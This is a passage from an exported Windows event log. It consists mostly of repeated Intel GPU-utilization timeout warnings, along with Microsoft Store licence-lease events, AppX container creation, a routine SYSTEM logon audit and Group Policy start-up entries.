08:58:32.872\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:33.089\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:33.312\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:33.534\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:33.756\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:34.202\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:34.424\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:34.649\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:34.982\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:35.426\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:35.981\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:36.203\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:36.648\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:37.315\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:37.650\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:37.871\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:38.077\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:38.401\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:38.622\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:38.955\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:39.176\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:39.624\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:40.178\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:40.954\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:41.179\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:41.725\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:41.948\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:42.168\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:42.391\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:42.725\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:42.946\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:43.502\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:44.721\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:46.056\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:46.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:46.950\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:47.284\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:48.062\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:48.286\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:49.516\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:49.740\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:50.076\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:50.609\t8001\t\"Invoking license manager because license/lease polling time up: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.609\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.609\t8011\t0x21f831d3840: 2976: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.609\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.609\t8012\t0x21f831d3840: 2976: Key:Valid Change: Key:Invalid => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.609\t8011\t0x21f8312b820: 8012: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.609\t8011\t0x21f8312b820: 8012: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.609\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.609\t8012\t0x21f8312b820: 8012: Lease:Valid Change: Lease:Invalid => {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.609\t8001\t\"Requesting lease document removal for reason 0x00000000, {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.611\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.611\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.611\t8002\t\"Trying to remove timer {1173A7B1-89F2-09CC-0563-CDED7D7397B9} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.611\t8001\t\"Removed timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:50.636\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:50.972\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:51.306\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:52.416\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:52.637\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:52.972\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:53.307\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:53.976\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:54.201\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:54.537\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:54.869\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:55.091\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:55.314\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:56.092\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:56.539\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:57.204\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:57.981\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:58.204\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:59.100\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:59.108\t210\tCreated Desktop AppX container {245CDE03-A8C9-11F1-B7FF-289200F24A99} for package MonitorManage_1.0.0.1_neutral__s7rhbyg9f8xr8.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:58:59.108\t211\tAdded process 15536 to Desktop AppX container 245cde03-a8c9-11f1-b7ff-289200f24a99 for package MonitorManage_1.0.0.1_neutral__s7rhbyg9f8xr8.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:58:59.147\t8001\t\"Skipping license manager: PFN Microsoft.WindowsTerminal_1.24.11911.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:58:59.172\t210\tCreated Desktop AppX container {245CDE08-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsTerminal_1.24.11911.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:58:59.172\t211\tAdded process 5392 to Desktop AppX container 245cde08-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.WindowsTerminal_1.24.11911.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:58:59.660\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:59.886\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:00.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:00.330\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:00.664\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:01.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:01.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:01.890\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:02.445\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:02.450\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"explorer\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:59:04.164\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:59:04.164\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:59:04.181\t4116\tStarted the Group Policy service initialization phase.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.184\t4115\tGroup Policy Service started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.184\t5324\tGroup Policy received the notification CreateSession from Winlogon for session 0.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.184\t5351\tGroup policy session returned to winlogon.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.185\t4117\tGroup Policy Session started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.187\t5351\tGroup policy session returned to winlogon.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:59:04.188\t4117\tGroup Policy Session 